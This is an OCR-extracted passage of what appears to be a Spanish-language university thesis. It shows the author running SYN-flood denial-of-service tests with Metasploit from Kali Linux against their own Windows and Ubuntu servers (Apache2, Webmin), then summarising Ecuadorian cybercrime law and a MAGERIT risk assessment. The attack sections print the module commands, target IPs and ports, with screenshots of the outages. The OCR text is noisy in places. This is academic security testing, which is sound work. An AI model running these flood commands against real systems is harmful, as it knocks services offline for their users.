Hola Mundo

Figura 31: Verificacion de Navegacion de Servidor Linux mediante direccion ip local.
Fuente: Local Host Linux Ubuntu 18.04

Se procede a realizar el ataque mediante Metasploit en Kali Linux para detener el

servicio del servidor de Linux

msfS auxiliary( )

msfS auxiliary( ) > use auxiliary/dos/tcp/synflood
msf5 auxiliary( ) > set RHOST 172.16.80.81

RHOST =$ 172.16.80.81

msf5 auxiliary( ) > exploit
Running module against 172.16.80.81

Figura 32: Ataque Realizado a Servidor Linux mediante Metasploit en Kali Linux.
Fuente: msfConsole Kali Linux
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Luego, Se verificd que los servicios hayan caido del servidor navegando la direccion
ip local.

i 172.16.80.81

Kali Tools @ Kali Docs Kali Forums NetHunter J Offensive Security Exploit-DB GHDB jJ MSFU

Unable to connect
Firefox can't establish a connection to the server at172.16.80.81.

® The site could be temporarily unavailable or too busy. Try againin a
few moments.

* If you are unable to load any pages, check your computer's network
connection.

= o If your computer or network is protected by a firewall or proxy, make
- sure that Firefox is permitted to access the Web.

Figura 33: Verificacion de Caida del Servidor Navegando desde la direccion ip local.
Fuente: Navegacion ip local Linux Ubuntu 18.04

De igual forma a la anterior se procede a parar el ataque y verificar que el servicio se

vuelva a levantar.

5 auxiliary > use auxiliary/dos/tcp
msf5 auxiliary( ) > set RHOST 172.16.80.81
RHOST =» 172.16.80.81
msfS auxiliary( ) > exploit

Running module against 172.16.80.81

SYN flooding 172.16.80.81:80 ...

2C Stopping running againest current target..
Control-C again to force quit all targets.
Auxiliary module execution completed

ms 5 ili

Figura 34: Detencion del Ataque de Metasploit en el Servidor Linux.
Fuente: msfConsole Kali Linux

Se verificd que el servicio este activo nuevamente navegando desde la direccion ip

local.

ejemplo hola mundo

< - C 72.16.80.81

Kali Linux Kali Training Kali Tools @& Kali Docs Kali Forums NetHunter

Hola Mundo

Figura 35: Verificacion de servicio activo en servidor Linux después de la detencién del ataque.
Fuente: Navegacion ip local Linux Ubuntu 18.04

61



3.7.3. Tercer ataque realizado al servidor Windows (Windows Server 2012)
Red WAN con ip publica.
El servidor esta inicializado por el cual se comprobd mediante la direccion ip publica

y el puerto activo.

@ ejemplo hola mundo X | @ Atague DoS con Metasploten K X m Msfeonsole Commands - Metas: X @ ejemplo hola mundo X+
& C (® Noesseguro | 186581.181:8081

Hola Mundo

Figura 36: Verificacion de navegacion de servidor Windows mediante direccion ip pablica.
Fuente: Navegacion ip publica Windows Server 2012

Se Procede a realizar el ataque al servidor mediante la Consola Metasploit de la
herramienta Kali Linux.

Para la ejecucion de este ataque de los servidores publicados en una ubicacion
especifica, fue atacado mediante Kali Linux desde otra ubicacién para dar certeza de que
el ataque funciono, es decir los servidores estuvieron en un punto A y el atacante en un

punto B no definido.

root@kali: ~
Archivo Acciones Editar Vista Ayuda
root@kali: ~ x

msfS auxiliary( ) > set RHOST 186.5.81.181
RHOST = 186.5.81.181
msf5 auxiliary( ) > set RPORT 8081
RPORT = 8081
msf5 auxiliary( ) > exploit
Running module against 186.5.81.181

SYN flooding 186.5.81.181:8081 ...

Figura 37: Ataque Realizado a Servidor Windows ip publica mediante Metasploit en Kali
Linux.
Fuente: msfConsole Kali Linux
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Se verifico que los servicios de la ip publica hayan caido navegando desde la ip publica

y respectivo puerto.

<« C @ 186.551.181:8081

B

No se puede acceder a este sitio web

No se puede acceder a la pagina 186.5.81.181 en este momento

Busca 186 181 8081 en Google

R_CONNECTION_FAILED

Figura 38: Verificacion de caida del servidor Windows navegando desde la direccion ip publica.
Fuente: Navegacion ip publica Windows Server 2012

Se detiene en lo posterior el ataque y se verifica si los servicios se vuelven a levantar
del servidor web.

msf5 auxiliary( ) > use auxiliary/dos/tcp/synflood
*[msf5 auxiliary( ) » set RHOST 186.5.81.181
RHOST = 186.5.81.181
msf5 auxiliary( ) » set RPORT 8081
RPORT = 8881
msf5 auxiliary( ) > exploit

Running module against 186.5.81.181

SYN flooding 186.5.81.181:8081 ...

*C Stopping running againest current target ...
Control-C again to force quit all targets.
Auxiliary module execution completed

msf5 auxiliary( ) > B

Figura 39: Detencion del Atagque de Metasploit en el Servidor Windows.
Fuente: msfConsole Kali Linux
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Se verifico que los servicios se hayan levantado nuevamente, navegando en la
direccion ip publica.
ef.‘i-:";:':ﬂJ.'-"'.".‘.:- %X | @ Atague DoS con Metasploten k. X 'Tl'-":"::"::-:.’c"*:'.:: Metas: X ec-.‘-'.::-':n'-'.'::: X+

& C (© Noesseguro | 186.581.181:3081

Hola Mundo

Figura 40: Verificacion de servicio activo en servidor Windows después de la detencion del
ataque.
Fuente: Navegacion ip publica Windows Server 2012

Por ultimo, Se verifico como reacciona el servidor al momento de realizar el ataque
monitoreando el servidor mediante el Monitor de Rendimiento que se encuentra en las
Herramientas de Supervision del servidor Windows (Windows Server 2012) obteniendo

los siguientes resultados.
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' LIEELE )

Otatniots 3 &-[§X [ 0D NN
4 | Herramientas de supervisic
B8 Monitor de rendimients
e . 100
b L3t Conjuntos de recopiladare kY
4 [ Informes
b E Definido por el usuario
4 [ Sistema a0
b [ System Diagnostics
b L[] System Performanc
01
m_
204 W\j\A/\ /\/\
15:35:12 193525 193535 193405 193415 193425 193435 193445 193455 193505 193511
Utimo | 100000 Promedio| 55218 Minimo | 000 Méimo 100000 Duracidn| 140
Mostrar  Color  Escala  Contador Instancia  Primarie  Objete Equipe
3
¢ I E
Figura 41: Rendimiento del Servidor Windows antes del ataque.
Fuente: Monitor Rendimiento Windows Server 2012
100
w.
60
w-
20_
19:36:52 19:35:25 19:35:35 19:35:45 19:3%:55 19:36:05 19:36:15 19:36:25 19:36:35 19:36:45  19:3&51
Uttimo 8320 Promedio | 79,102 Minimo | 6.660 Méaximo 100.000 Duracién | 1:40
Mostrar  Color Escala Contador Instancia  Primario Objeto Equipo
Wl =———10  %detiempodeprocesador Total -~ Informacién del procesed... WSERVERWIN

Figura 42: Rendimiento del Servidor Windows Ejecutando el ataque.
Fuente: Monitor Rendimiento Windows Server 2012
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Explicacion de la Figuras:

El servidor de Windows (Windows Server 2012), se encuentra trabajando
normalmente como se puede observar en la Figura 41 desde las 19:34.05.

El ataque se realiz6 19:35.05 por el cual el rendimiento del equipo subio
considerablemente hasta saturar rendimiento de mi servidor por ende los
servicios se saturaron y el servidor dejo de funcionar debido al ataque
realizado.

El ataque continuo hasta 19:36.25, en el cual se procedid a detenerlo como se
observa en la Figura 42 y el rendimiento de mi servidor vuelve a funcionar con

normalidad.
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3.8.Cuarto ataque realizado al servidor Linux (Ubuntu 18.2) red WLAN con ip
publica Servidor apache2 y Webmin.
3.8.1 Ataque Realizado al Servidor Apache2

El servidor apache2 esta inicializado por el cual se comprobd mediante la direccion ip

publica y el puerto activo.

1 (1) Dashboard — Wel X  ejemplo hola mundo

5 cC @ D 186.5.81.181
Kali Linux Kali Training KaliTools @ Kali Docs Kali Forums

Hola Mundo

Figura 43: Verificacion de Navegacion de Servidor Apache2.
Fuente: Navegacion ip publica Linux

Se procedi6 a realizar el ataque al servidor Ubuntu 18.04 servidor instalado es apache2
mediante la Consola Metasploit de la herramienta Kali Linux.

root @ kali: ~
Archivo Acciones Editar Vista Ayuda

root@kali: ~
e —————— e e +

=[ metasploit v5.0.60-dev
1947 exploits - 1889 auxiliary - 333 post

L= —

[
+ — —=[ 556 payloads - 45 encoders - 1@ nops
[

+ - — 7 evasion
msf5 > use auxiliary/dos/tcp/synflood
msf5 auxiliary( ) > set RHOST 186.5.81.181
RHOST = 186.5.81.181
msf5 auxiliary( ) » set RPORT B@E@
RPORT = 8088
msf5 auxiliary( ) > exploit
Running module against 186.5.81.181

Figura 44: Ataque realizado al servidor Apache2 mediante Metasploit desde Kali Linux.
Fuente: msfConsole Kali Linux
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Se verifica que los servicios de nuestra ip publica hayan caido navegando desde la ip
publica y respectivo puerto.

S 186581181 X +

< C @ 186.5.81.181:8080

=]

This site can't be reached

186.5.81.181 took too long to respond

Try:
+ Checking the connection
+ Checking the proxy and the firewall
+ Running Windows Metwork Diagnostics

ERR_CONMNECTION_TIMED_OUT
Figura 45: Verificacion de la caida de Servicios del Servidor Apache2 Navegando desde la
direccion ip Publica.
Fuente: Navegacion ip publica Linux

Se detiene en lo posterior el ataque y se verifica que los servicios se vuelven a levantar

del servidor web Linux Ubuntu 18.04 (apache2).

root@kali: ~

Archivo Acciones Editar Vista Ayuda
root@kali: ~

metasploit v5.0.60-dev

1947 exploits - 1089 auxiliary - 333 post
556 payloads - 45 encoders - 10 nops

7 evasion

sf5 > use auxiliary/dos/tcp/synflood
msf5 auxiliary( ) > set RHOST 186.5.81.181
RHOST = 186.5.81.181
msf5 auxiliary( ) > set RPORT 8080
RPORT = 8080
msf5 auxiliary( ) > exploit
Running module against 186.5.81.181

SYN flooding 186.5.81.181:8080 ...

2C Stopping running againest current target ...
Control-C again to force quit all targets.
Auxiliary module execution completed

msf5 auxiliary( I |

Figura 46: Detencion del ataque al Servidor Apache2 mediante Metasploit.
Fuente: msfConsole Kali Linux
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Se verifica que los servicios se hayan levantado nuevamente navegando en la direccion

ip publica.

X ejemplo hola mundo

C @ D 186.5.81.181
Kali Linux Kali Training KaliTools @ Kali Docs Kali Forums

Hola Mundo

Figura 47: Verificacion que los servicios este Levantado en el Servidor Apache2 navegando desde
la direccién ip Publica.
Fuente: Navegacion ip publica Linux

3.8.2 Ataque realizado Servidor Webmin
Ataque realizado a servidor Webmin con Metasploit desde Kali Linux utilizando
una direccion ip publica y para este ataque se utilizé el puerto de Webmin puerto
10000

El servidor Webmin esta inicializado por el cual se comprobd mediante la direccion ip

publica y el puerto activo.

1 (1) Dashboard ‘Wek * Webmin
L C @
Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums

&

Webmin

Figura 48: Verificacion de que Servidor Web min este Navegando mediante la direccién ip
publica y el puerto respectivo
Fuente: Imagen Webmin
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Se procedié a realizar el ataque al Host Ubuntu 18.04 servidor instalado es Webmin

mediante la Consola Metasploit de la herramienta Kali Linux.

msf5 auxiliary( ) > set RHOST 186.5.81.181
RHOST = 186.5.81.181
msf5 auxiliary( ) > set RPORT 10000
RPORT = 10000
msf5 auxiliary( ) > exploit
Running module against 186.5.81.181

SYN flooding 186.5.81.181:10000 ...

Figura 49: Ataque realizado a servidor Webmin mediante Metasploit.
Fuente: msfConsole Kali Linux

Se verifica que los servicios de la ip publica hayan caido navegando desde la ip publica

y respectivo puerto.

< X @ 186.5.81.181:10000

B

This site can’t be reached

186.5.81.181 took too long to respond.

Try:
+ (Checking the connection
* Checking the proxy and the firewall
* Running Windows Network Diagnostics

ERR_COMMECTION_TIMED_OUT
Figura 50: Verificacion que los servicios de servidor Webmin hayan caido navegando en la
direccion ip Publica.
Fuente: Navegacion ip publica Webmin
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Ademas, se puede observar al momento de realizar el ataque no solo cayeron los
servicios del servidor publicamente de igual manera los servicios localmente ya que se

intentd levantar manualmente los servicios el cual evito ingresar desde servidor Webmin

como se puede observar en la figura 61.

. ®
S Connection lost

Can't establizh a connection 1o the server at 172,16,5, 7210000

& Chack the server status
= Check the connectnon

Figura 51: Verificacion de los servicios Caidos en Servidor Webmin Localmente.
Fuente: Webmin

Se detiene en lo posterior el ataque y se verifica que los servicios se vuelven a levantar
del servidor web Ubuntu 18.04 (Webmin)

msf5 auxiliary( ) » set RHOST 186.5.81.181
RHOST = 186.5.81.181
msf5 auxiliary( ) » set RPORT 10000
RPORT = 10000
msf5 auxiliary( ) > exploit
Running module against 186.5.81.181

S¥YN flooding 186.5.81.181:10000 ...

“C Stopping running againest current target ...
Control-C again to force guit all targets.
Auxiliary module execution completed

msf5 auxiliary( ) > 1

Figura 52: Detencion del ataque realizado al Servidor Webmin Mediante Metasploit.
Fuente: msfConsole Kali Linux
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Se verifica que los servicios se hayan levantado nuevamente navegando en la direccion

ip publica del servidor web Webmin.

Webmin

186.5.8

: @ Kali Docs Kall Forums

&

Webmin

Figura 53: Verificacion que los servicios del Servidor Webmin se hayan levantado nuevamente.
Fuente: Imagen Webmin
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De igual manera que en el ataque anterior, se verifica como reacciona el servidor al
momento de realizar el ataque monitoreando el servidor mediante el Monitor de Webmin
que se encuentra en System Information del servidor Linux (Ubuntu 18.04) utilizando

servidor Webmin obteniendo los siguientes resultados.

System Information

76% 37% \) 0% 64%

/
System hostname edison-VirtualBox ucacue edu ec Operating system Ubuntu Linux 18043
Webmin version 1940 Authentic theme version 19443 o
Time on system Thursday, January 9, 2020 11:26 AM Kernel and CPU Linux 5.0.0-23-generic on x86,64
Processor information Intel{R) Core(TM) i5-5200U CPU @ 2.20GHz, 1 cores  System uptime 8 hours, 17 minutes
Running processes m CPU load averages 1.53 (1 min) 0.83 (5 mins) 0.72 (15 mins)
Real memory 1.73GiB used/ 2.21 GiB cached / 4.79 GiB total Virtual memory 0bytes used /979,99 Mi8 total
Local disk space 571 GiBused /3,09 GiB free / 881 GiB total Package updates @ package updates are available, of which @R are

security updates

Figura 54: Rendimiento del Servidor Linux antes del ataque.
Fuente: System Information Webmin
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System Information

19% 09 65%
System hostname edison-VirtualBox ucacue edu.ec Operating system Ubuntu Linux 18043
Webmin version 1940 Authentic theme version 19443 o
Time on system Thursday, January 9, 2020 1217 PM Kernel and CPU Linux 5.0.0-23-generic on x86_64
Processor information Intel(R) Core(TM) 15-5200U CPU @ 2.20GHz, 1 cores  System uptime 18 minutes
Running processes 198 CPU load averages 3,141 min) 296 (5 mins) 2.05 (15 mins)
Real memory 92587 MiB used / 996.42 MiB cached / 479 GiB total Virtual memory 0 bytes used / 979.99 MiB total

Figura 55: Rendimiento del Servidor Linux Ejecutando el ataque.
Fuente: System Information Webmin

Explicacion de las Figuras:

a) El servidor de Linux Ubuntu 18.04 (Webmin), se encuentra trabajando
normalmente como se puede observar en la figura 54.

b) Lugo de realizar el ataque al servidor subié considerablemente el rendimiento
de la maquina como se observa en la figura 55 hasta saturar rendimiento del
servidor por ende los servicios se saturaron y el servidor dejo de funcionar
debido al ataque realizado.

c) Al finalizar el ataque del servidor volvio a funcionar con normalidad y se pudo

observar que los servicios volvieron a inicializarse.
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3.9 Leyes Vigentes en el Ecuador Contra Delitos Informaéticos.
3.9.1 Breve Historia

Una de las primeras definiciones sobre los delitos informaticos se estableci6 en 1983,
cuando la OCDE (Organizacion de Cooperacion y Desarrollo Econémico), definié como
“cualquier comportamiento antijuridico, no ético o no autorizado, relacionado con el
procesamiento automatico de datos y/o transmisiones de datos”. (Verdezoto, 2020a)

En este caso “Troyano”, fue el nombre del primer virus masivo reportado IBM PC en
1984, araiz de esto, varios Estados de los E.E.U.U. fueron los primeros en contar con una
ley especificapara proteger los sistemas informaticos de las instituciones
publicas. (Verdezoto, 2020b)

De esta manera el delito informéatico es un acto ilicito que se comete a través de
herramientas informéticas, medios y dispositivos tecnoldgicos y de comunicacion, con el
objetivo de causar dafio o provocar pérdidas de alguna indole o a su vez impedir el uso
de algun sistema informatico. (POLICIA NACIONAL DEL ECUADOR, 2017a)

Las actividades que contemplen, grabaciones y fotografias sin consentimiento o
autorizacion legal, suplantacién de claves electrdnicas, dafios o pérdida de informacion
intencional, intervencion o violacion en la intimidad de las personas, entre otras, son
ilicitas. (POLICIA NACIONAL DEL ECUADOR, 2017b)

3.9.2 Leyes Vigentes Contra delitos informaticos en el Ecuador.

En la actualidad, el Ecuador cuenta con Leyes que sancionan este tipo de delitos con

penas de privacion de libertad, los mismos que estan reconocidos en el Cédigo Organico

Integral Penal (COIP), (Verdezoto, 2020c), entre ellos tenemos:
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1. C.O.l.LP. Art. 190.- Apropiaciéon fraudulenta por medios electrénicos. - La
persona que utilice fraudulentamente un sistema informético o redes
electronicas y de telecomunicaciones para facilitar la apropiacion de un bien
ajeno o que procure la transferencia no consentida de bienes, valores o
derechos en perjuicio de esta o de una tercera, en beneficio suyo o de otra
persona alterando, manipulando o modificando el funcionamiento de redes
electrénicas, programas, sistemas informaticos, telematicos y equipos
terminales de telecomunicaciones, serd sancionada con pena privativa de
libertad de uno a tres afios. La misma sancion se impondra si la infraccion se
comete con inutilizacion de sistemas de alarma o guarda, descubrimiento o
descifrado de claves secretas o encriptadas, utilizacion de tarjetas magnéticas
o perforadas, utilizacion de controles o instrumentos de apertura a distancia, o
violacion de seguridades electronicas, informaticas u otras semejantes. (Corte
Nacional de Justicia, 2018a)

2. C.O.l.P. Art. 191.- Reprogramaciéon o modificacién de informacién de equipos
terminales mdviles. - La persona que reprograme o modifique la informacion de
identificacion de los equipos terminales moviles, sera sancionada con pena
privativa de libertad de uno a tres afios. (Corte Nacional de Justicia, 2018b)

3. C.O.l.P. Art. 195.- Infraestructura ilicita. - La persona que posea
infraestructura, programas, equipos, bases de datos o etiquetas que permitan
reprogramar, modificar o alterar la informacion de identificacion de un equipo
terminal mavil, sera sancionada con pena privativa de libertad de uno a tres

afios. (Corte Nacional de Justicia, 2018c)
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4. C.O.I.P. Art. 229.- Revelacion ilegal de base de datos. - La persona que, en

provecho propio o de un tercero, revele informacion registrada, contenida en
ficheros, archivos, bases de datos o medios semejantes, a través o dirigidas a
un sistema electronico, informatico, teleméatico o de telecomunicaciones;
materializando voluntaria e intencionalmente la violacién del secreto, la
intimidad y la privacidad de las personas, seré sancionada con pena privativa
de libertad de uno a tres afios. (Corte Nacional de Justicia, 2018d)
Si esta conducta se comete por una o un servidor publico, empleadas o
empleados bancarios internos o de instituciones de la economia popular y
solidaria que realicen intermediacion financiera o contratistas, serd sancionada
con pena privativa de libertad de tres a cinco afios. (Corte Nacional de Justicia,
2018e)

5. C.O.L.P. Art. 230.- Interceptacion ilegal de datos. - Sera sancionada con pena
privativa de libertad de tres a cinco afios:

1. La persona que, sin orden judicial previa, en provecho propio o de un tercero,
intercepte, escuche, desvie, grabe u observe, en cualquier forma un dato
informatico en su origen, destino o en el interior de un sistema informatico,
una sefial o una transmision de datos o sefiales con la finalidad de obtener
informacion registrada o disponible. (Corte Nacional de Justicia, 2018f)

2. La persona que disefie, desarrolle, venda, ejecute, programe o envie
mensajes, certificados de seguridad o paginas electrdnicas, enlaces o ventanas
emergentes o modifique el sistema de resolucion de nombres de dominio de un

servicio financiero o pago electrénico u otro sitio personal o de confianza, de
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tal manera que induzca a una persona a ingresar a una direccion o sitio de
internet diferente a la que quiere acceder. (Corte Nacional de Justicia, 2018Q)
3. La persona que a través de cualquier medio copie, clone o comercialice
informacion contenida en las bandas magnéticas, chips u otro dispositivo
electrénico que esté soportada en las tarjetas de crédito, débito, pago o
similares. (Corte Nacional de Justicia, 2018h)

4. La persona que produzca, fabrique, distribuya, posea o facilite materiales,
dispositivos electrénicos o sistemas informéticos destinados a la comision del
delito descrito en el inciso anterior. (Corte Nacional de Justicia, 2018i)
C.O.l.LP. Art. 231.- Transferencia electrénica de activo patrimonial. - La
persona que, con animo de lucro, altere, manipule o modifique el
funcionamiento de programa o sistema informético o telematico o mensaje de
datos, para procurarse la transferencia o apropiacién no consentida de un activo
patrimonial de otra persona en perjuicio de esta o de un tercero, serd sancionada
con pena privativa de libertad de tres a cinco afios. (Corte Nacional de Justicia,
2018j)

Con igual pena, seréa sancionada la persona que facilite o proporcione datos de
su cuenta bancaria con la intencion de obtener, recibir o captar de forma
ilegitima un activo patrimonial a través de una transferencia electronica
producto de este delito para si mismo o para otra persona. (Corte Nacional de
Justicia, 2018k)

C.O.lLP. Art. 232.- Ataque a la integridad de sistemas informaticos. - La
persona que destruya, dafe, borre, deteriore, altere, suspenda, trabe, cause mal

funcionamiento, comportamiento no deseado o suprima datos informaticos,
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mensajes de correo electrdnico, de sistemas de tratamiento de informacion,
telematico o de telecomunicaciones a todo o partes de sus componentes l6gicos
que lo rigen, serd sancionada con pena privativa de libertad de tres a cinco afios.
(Corte Nacional de Justicia, 2018l)

Con igual pena sera sancionada la persona que:

1. Disefie, desarrolle, programe, adquiera, envie, introduzca, ejecute, venda o
distribuya de cualquier manera, dispositivos o programas informéticos
maliciosos o programas destinados a causar los efectos sefialados en el primer
inciso de este articulo. (Corte Nacional de Justicia, 2018m)

2. Destruya o altere sin la autorizacion de su titular, la infraestructura
tecnoldgica necesaria para la transmision, recepcion o procesamiento de
informacion en general. Si la infraccion se comete sobre bienes informaticos
destinados a la prestacion de un servicio publico o vinculado con la seguridad
ciudadana, la pena sera de cinco a siete afios de privacion de libertad. (Corte
Nacional de Justicia, 2018n)

C.O.1.P. Art. 233.- Delitos contra la informacién publica reservada legalmente.-
La persona que destruya o inutilice informacion clasificada de conformidad
con la Ley, sera sancionada con pena privativa de libertad de cinco a siete afios.
La o el servidor pablico que, utilizando cualquier medio electronico o
informatico, obtenga este tipo de informacién, sera sancionado con pena
privativa de libertad de tres a cinco afos. (Corte Nacional de Justicia, 20180)
Cuando se trate de informacion reservada, cuya revelacion pueda comprometer
gravemente la seguridad del Estado, la o el servidor publico encargado de la

custodia o utilizacion legitima de la informacion que sin la autorizacién
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correspondiente revele dicha informacion, serd sancionado con pena privativa
de libertad de siete a diez afios y la inhabilitacion para ejercer un cargo o
funcion pablica por seis meses, siempre que no se configure otra infraccion de
mayor gravedad. (Corte Nacional de Justicia, 2018p)

C.O.1.P. Art. 234.- Acceso no consentido a un sistema informatico, telematico
o de telecomunicaciones. - La persona que sin autorizacion acceda en todo o en
parte a un sistema informético o sistema telematico o de telecomunicaciones o
se mantenga dentro del mismo en contra de la voluntad de quien tenga el
legitimo derecho, para explotar ilegitimamente el acceso logrado, modificar un
portal web, desviar o re direccionar de tréfico de datos o voz u ofrecer servicios
que estos sistemas proveen a terceros, sin pagarlos a los proveedores de
servicios legitimos, ser& sancionada con la pena privativa de la libertad de tres

a cinco afios. (Corte Nacional de Justicia, 2018q)
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4. Determinacion de riesgos y vulnerabilidades, conclusiones y recomendaciones.

4.1. Analisis de los riesgos

Para analizar los riesgos de esta investigacion se utilizd, MAGERIT version 3.0
metodologia de analisis y gestion de riesgos de los sistemas de informacion.

Introduccion

La guia metodoldgica de MAGERIT. Se presume el conocimiento y comprension de
los conceptos de andlisis y gestidn de riesgos.

El objetivo es describir algunas técnicas utilizadas en andlisis y gestion de riesgos. Se
considera técnica a un conjunto de heuristicos y procedimientos que ayudan a alcanzar
los objetivos propuestos. (Miguel Angel Amutio Gomez, 2012a)

Para cada una de las técnicas:

e Seexplica brevemente el objetivo que se persigue al utilizarlas,

e Se describen los elementos basicos asociados,

e Se exponen los principios fundamentales de elaboracion,

e Se presenta una notacion textual y/o grafica y

e Y se citan las fuentes bibliogréficas que, sin ser exhaustivas, se han estimado
de interés para que el lector profundice en cada materia.

Todas las técnicas de esta metodologia pueden utilizarse sin ayudas automatizadas;
pero su aplicacidn repetitiva o compleja recomienda el empleo de herramientas tan amplia
y frecuentemente como sea posible.

Es importante resaltar que la notacion que se propone en la aplicacion de la técnica en
ningln caso se considerara obligatoria. Cada organizacién podra utilizar la notacion que

desee, la que suele utilizar o la que ofrecen sus herramientas de desarrollo, respetando las
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reglas y restricciones especificas de las distintas técnicas. (Miguel Angel Amutio Gémez,
2012b)

Técnicas especificas

Técnicas especificas de los proyectos de analisis y gestion de riesgos, técnicas que no
se utilizan en otros contextos de trabajo.
Se han considerado de especial interés:
1. Uso de tablas para la obtencion sencilla de resultados
2. Técnicas algoritmicas para la obtencion de resultados elaborados
3. Arboles de ataque para complementar los razonamientos de qué amenazas se

ciernen sobre un sistema de informacién

Para esta investigacion se precede a utilizar la técnica de un Analisis mediante tablas

Anélisis mediante tablas

Este andlisis dice la distincion y separacién de las partes de un todo hasta llegar a
conocer sus principios o elementos. En el analisis de riesgos hay que trabajar con
multiples elementos que hay que combinar en un sistema para ordenarlo por importancia
sin que los detalles, muchos, perjudiquen la vision de conjunto. (Miguel Angel Amutio
Gomez, 2012c¢)

La experiencia ha demostrado la utilidad de métodos simples de andlisis llevados a
cabo por medio de tablas que, sin ser muy precisas, si aciertan en la identificacion de la
importancia relativa de los diferentes activos sometidos a amenazas. (Miguel Angel

Amutio Gomez, 2012d)
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Activos

Iniciando de manera conceptual “Se denominan Activos de Informacién a todos
aquellos recursos de valor para una organizacion que generan, procesan, almacenan o
transmiten informacion”. (Acosta, s.f.a)

La proteccién de los activos es esencial para la gestion de los riesgos ya que la no

disponibilidad causaria un perjuicio o costes para la empresa. (Acosta, s.f.b)

Para el analisis de riesgos de esta investigacion los activos son:

1. [S]Servidores

- Windows Server 2012
- Linux Ubuntu 18.04
2. [SWI]Servicios Web

- Navegador

- Internet

- Puertos

- Direcciones Ip

- Dominio

3. [SA]Servicios de aplicacion
- Local

- Publico
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Identificacidn de Riesgos, Vulnerabilidades y Amenazas
El objetivo de este paso es identificar los riesgos y vulnerabilidades de los activos ya
mencionados anteriormente, y que fueron encontrados en el trabajo.
Riesgos
Se presenta a continuacion una lista de los riesgos encontrados sobre los activos ya
identificados:
Riesgos/Activos/Servidores/Servicios Web/Servicios de Aplicacion
e Las configuraciones por defectos son vulneradas facilmente
e Configuracion por defecto del puerto web del servidor
e Limitacion de recurrencia de peticiones
e Kali Linux es una herramienta de facil uso que permite vulnerabilidad del
firewall
e Caidadelared
e Caida de Servidores
¢ Inadecuado o no control de acceso.
e No disponibilidad de Servicio.
Vulnerabilidades
Se presenta a continuacion una lista de vulnerabilidades encontrados sobre los activos
ya identificados:
Vulnerabilidades/Activos/Servidores/Servicios Web/Servicios de Aplicacion
e Falta de aplicativos para contrarrestar ataques como antivirus.
e Falta de implementacion de politicas de seguridad
e Falta de implementacion de politicas de firewall

e Falta Encriptacion de puertos.

84



Amenazas

Se presenta a continuacién una lista de Amenazas encontrados sobre los activos ya

identificados en este caso de origen humano son causadas por acciones intencionales y de

entorno que son provocados por interrupcion prolongada de servicios electronicos o de

comunicaciones:

Amenazas/Activos/Servidores/Servicios Web/Servicios de Aplicacién

Tabla de Valoracion de Riesgos/Vulnerabilidades/Amenazas

Hacheo realizado de facil manera

Ausencia de operador de servidores

Ataques mediante herramienta Kali Linux de hackeo

Posible utilizacion de sniffer para Crackeo de informacion

Matriz de la determinacion de la probabilidad
Impacto Probabilidad Riesgo/Vulnerabilidad/
Amenazas
MA: muy alto MA: practicamente seguro -
A:alto A: probable A: importante
M: medio M: posible M: apreciable
B: bajo B: poco probable B: bajo

Tabla 1 Valoracién/vulnerabilidad/Amenazas

Fuente: (Miguel Angel Amutio Gémez, 2012)

Matriz de la determinacion del impacto

Criterio

Impacto

Calificacion

Catastrofico

interrupcién de 1hora

Significativo Interrupcién de 30 minutos
Moderado interrupcién de 15 minutos
Menor interrupcién de 10 minutos

Insignificante

interrupcién menor a 1 minuto

IN w hI

Tabla 2 Determinacion del Impacto
Fuente: (Miguel Angel Amutio Gémez, 2012)
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Teniendo en cuenta las matrices se procede a calificar la probabilidad y el impacto los

riesgos/vulnerabilidades /amenazas.

Riesgos

Las configuraciones por defectos son vulneradas facilmente

Probabilidad Impacto
Calificacion: | MA Calificacion: | 4
Tabla 3 Riesgo las configuraciones por defectos son vulneradas facilmente
Fuente: Elaboracion del autor
Riesgos
Configuracion por defecto del puerto web del servidor
Probabilidad Impacto
Calificacién: | A Calificacién: | 2
Tabla 4 Riesgo configuracion por defecto del puerto web del servidor
Fuente: Elaboracion del autor
Riesgos
Limitacion de recurrencia de peticiones
Probabilidad Impacto
Calificacion: | M Calificacion: 3

Tabla 5 Riesgo limitacion de recurrencia de peticiones

Fuente: Elaboracion del autor

Riesgos

Kali Linux es una herramienta de facil uso que permite vulnerabilidad del firewall.

Probabilidad

Impacto

Calificacion: | A

Calificacion:

| 3

Tabla 6 Riesgo Kali Linux es una herramienta de facil uso que permite vulnerabilidad del

firewall.
Fuente: Elaboracion del autor

Riesgos

Caida de la red

Probabilidad

Impacto

Calificacién: | B

Calificacion:

Tabla 7 Riesgo caida de la red
Fuente: Elaboracion del autor
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Riesgos

Caida de Servidores

Probabilidad Impacto
Calificacion: | MA Calificacion: 4
Tabla 8 Riesgo caida de Servidores
Fuente: Elaboracion del autor
Riesgos
Inadecuado o no control de acceso.
Probabilidad Impacto
Calificacion: | B Calificacion: 2
Tabla 9 Riesgo inadecuado o no control de acceso.
Fuente: Elaboracion del autor
Riesgos
No disponibilidad de servicio
Probabilidad Impacto
Calificacion: | MA Calificacion: 5
Tabla 10 Riesgo no disponibilidad de servicio
Fuente: Elaboracion del autor
Vulnerabilidad
Falta de aplicativos para contrarrestar ataques como antivirus.
Probabilidad Impacto
Calificacion: | A Calificacién: | 3

Tabla 11 Vulnerabilidad falta de aplicativos para contrarrestar ataques como antivirus.

Fuente: Elaboracion del autor

Vulnerabilidad

Falta de implementacion de politicas de seguridad

Probabilidad Impacto
Calificacion: | A Calificacién: | 3
Tabla 12 Vulnerabilidad falta de implementacion de politicas de seguridad
Fuente: Elaboracion del autor
Vulnerabilidad
Falta de implementacion de politicas de firewall
Probabilidad Impacto
Calificacion: | A Calificacion: | 3

Tabla 13 Vulnerabilidad falta de implementacion de politicas de firewall

Fuente: Elaboracion del autor
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Vulnerabilidad

Falta de encriptacion de puertos

Probabilidad Impacto
Calificacion: | MB Calificacion:
Tabla 14 Vulnerabilidad falta de encriptacién de puertos
Fuente: Elaboracion del autor
Amenazas
Hacheo realizado de facil manera
Probabilidad Impacto
Calificacion: | MA Calificacion:
Tabla 15 Amenaza hacheo realizado de facil manera
Fuente: Elaboracion del autor
Amenazas
Posible Utilizacion de sniffer para Crackeo de informacion
Probabilidad Impacto
Calificacion: | MA Calificacion: |

Tabla 16 Amenaza posible Utilizacidn de sniffer para Crackeo de informacion

Fuente: Elaboracion del autor

Amenazas

Ausencia de operador de servidores

Probabilidad Impacto
Calificacion: | A Calificacion:
Tabla 17 Amenaza ausencia de operador de servidores
Fuente: Elaboracion del autor
Amenazas
Ataques mediante herramienta Kali Linux de hackeo
Probabilidad Impacto
Calificacion: | MA Calificacién: |

